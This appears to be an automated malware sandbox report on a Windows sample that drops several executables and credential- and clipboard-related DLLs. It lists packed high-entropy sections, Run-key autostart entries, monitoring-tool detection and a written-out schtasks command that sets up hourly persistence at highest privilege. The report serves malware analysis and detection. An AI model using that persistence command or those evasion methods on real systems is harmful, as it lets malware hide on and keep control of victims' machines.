Source: explorha.exe.0.dr	Static PE information: real checksum: 0x2f5a1c should be: 0x2f7366
Source: clip64.dll.6.dr	Static PE information: real checksum: 0x0 should be: 0x1f783
Source: cred64[1].dll.16.dr	Static PE information: real checksum: 0x0 should be: 0x14356f
Source: amert[1].exe.6.dr	Static PE information: real checksum: 0x1dc6c6 should be: 0x1dbe20
Source: clip64[1].dll.6.dr	Static PE information: real checksum: 0x0 should be: 0x1f783
Source: cred64.dll.16.dr	Static PE information: real checksum: 0x0 should be: 0x14356f
Source: cred64.dll.6.dr	Static PE information: real checksum: 0x0 should be: 0x147ee8

Source: UeW2b6mU6Z.exe	Static PE information: section name:
Source: UeW2b6mU6Z.exe	Static PE information: section name: .idata
Source: UeW2b6mU6Z.exe	Static PE information: section name: ldcfgzdi
Source: UeW2b6mU6Z.exe	Static PE information: section name: thopgwrw
Source: UeW2b6mU6Z.exe	Static PE information: section name: .taggant
Source: explorha.exe.0.dr	Static PE information: section name:
Source: explorha.exe.0.dr	Static PE information: section name: .idata
Source: explorha.exe.0.dr	Static PE information: section name: ldcfgzdi
Source: explorha.exe.0.dr	Static PE information: section name: thopgwrw
Source: explorha.exe.0.dr	Static PE information: section name: .taggant
Source: cred64[1].dll.6.dr	Static PE information: section name: _RDATA
Source: cred64.dll.6.dr	Static PE information: section name: _RDATA
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert[1].exe.6.dr	Static PE information: section name: .idata
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert[1].exe.6.dr	Static PE information: section name: mxcnarui
Source: amert[1].exe.6.dr	Static PE information: section name: nxgghrcb
Source: amert[1].exe.6.dr	Static PE information: section name: .taggant
Source: amert.exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name: .idata
Source: amert.exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name: mxcnarui
Source: amert.exe.6.dr	Static PE information: section name: nxgghrcb
Source: amert.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: kiragzej
Source: random[1].exe0.6.dr	Static PE information: section name: cquspnza
Source: 590971cd60.exe.6.dr	Static PE information: section name:
Source: 590971cd60.exe.6.dr	Static PE information: section name: .idata
Source: 590971cd60.exe.6.dr	Static PE information: section name:
Source: 590971cd60.exe.6.dr	Static PE information: section name: kiragzej
Source: 590971cd60.exe.6.dr	Static PE information: section name: cquspnza
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name: .idata
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name: dspczsrr
Source: sarra[1].exe.6.dr	Static PE information: section name: bhvulryj
Source: chrosha.exe.12.dr	Static PE information: section name:
Source: chrosha.exe.12.dr	Static PE information: section name: .idata
Source: chrosha.exe.12.dr	Static PE information: section name:
Source: chrosha.exe.12.dr	Static PE information: section name: mxcnarui
Source: chrosha.exe.12.dr	Static PE information: section name: nxgghrcb
Source: chrosha.exe.12.dr	Static PE information: section name: .taggant
Source: cred64[1].dll.16.dr	Static PE information: section name: _RDATA
Source: cred64.dll.16.dr	Static PE information: section name: _RDATA
Source: RageMP131.exe.20.dr	Static PE information: section name:
Source: RageMP131.exe.20.dr	Static PE information: section name: .idata
Source: RageMP131.exe.20.dr	Static PE information: section name:
Source: RageMP131.exe.20.dr	Static PE information: section name: kiragzej
Source: RageMP131.exe.20.dr	Static PE information: section name: cquspnza
Source: MPGPH131.exe.20.dr	Static PE information: section name:
Source: MPGPH131.exe.20.dr	Static PE information: section name: .idata
Source: MPGPH131.exe.20.dr	Static PE information: section name:
Source: MPGPH131.exe.20.dr	Static PE information: section name: kiragzej
Source: MPGPH131.exe.20.dr	Static PE information: section name: cquspnza

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C529A0 push esp; ret	0_2_00C529A1
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C49420 push ebx; ret	0_2_00C4942A
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C48DE6 push esi; iretd	0_2_00C48DE7
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C5EFBC push ecx; ret	0_2_00C5EFCF
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00ADC0E8 push cs; retn 0002h	1_2_00ADC0E9
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00AD9420 push ebx; ret	1_2_00AD942A
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00AD8DE6 push esi; iretd	1_2_00AD8DE7
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00AEEFBC push ecx; ret	1_2_00AEEFCF
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00ADC0E8 push cs; retn 0002h	2_2_00ADC0E9
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00AD9420 push ebx; ret	2_2_00AD942A
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00AD8DE6 push esi; iretd	2_2_00AD8DE7
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00AEEFBC push ecx; ret	2_2_00AEEFCF
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00AEEFBC push ecx; ret	6_2_00AEEFCF
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B0F4FB push ss; iretd	6_2_00B0F4FC
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00AEF666 push ecx; ret	6_2_00AEF679

Source: UeW2b6mU6Z.exe	Static PE information: section name: entropy: 7.980021515405835
Source: explorha.exe.0.dr	Static PE information: section name: entropy: 7.980021515405835
Source: amert[1].exe.6.dr	Static PE information: section name: entropy: 7.988756925012516
Source: amert[1].exe.6.dr	Static PE information: section name: mxcnarui entropy: 7.954740123468286
Source: amert.exe.6.dr	Static PE information: section name: entropy: 7.988756925012516
Source: amert.exe.6.dr	Static PE information: section name: mxcnarui entropy: 7.954740123468286
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.9277038793201395
Source: random[1].exe0.6.dr	Static PE information: section name: kiragzej entropy: 7.949158381661359
Source: 590971cd60.exe.6.dr	Static PE information: section name: entropy: 7.9277038793201395
Source: 590971cd60.exe.6.dr	Static PE information: section name: kiragzej entropy: 7.949158381661359
Source: sarra[1].exe.6.dr	Static PE information: section name: entropy: 7.927724377474478
Source: sarra[1].exe.6.dr	Static PE information: section name: dspczsrr entropy: 7.949274848387835
Source: chrosha.exe.12.dr	Static PE information: section name: entropy: 7.988756925012516
Source: chrosha.exe.12.dr	Static PE information: section name: mxcnarui entropy: 7.954740123468286
Source: RageMP131.exe.20.dr	Static PE information: section name: entropy: 7.9277038793201395
Source: RageMP131.exe.20.dr	Static PE information: section name: kiragzej entropy: 7.949158381661359
Source: MPGPH131.exe.20.dr	Static PE information: section name: entropy: 7.9277038793201395
Source: MPGPH131.exe.20.dr	Static PE information: section name: kiragzej entropy: 7.949158381661359

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	File created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	File created: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\sarra[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cred64[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe

File created: C:\ProgramData\MPGPH131\MPGPH131.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bad48ea9ac.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 590971cd60.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: Regmonclass

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

File created: C:\Windows\Tasks\explorha.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bad48ea9ac.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bad48ea9ac.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 590971cd60.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 590971cd60.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
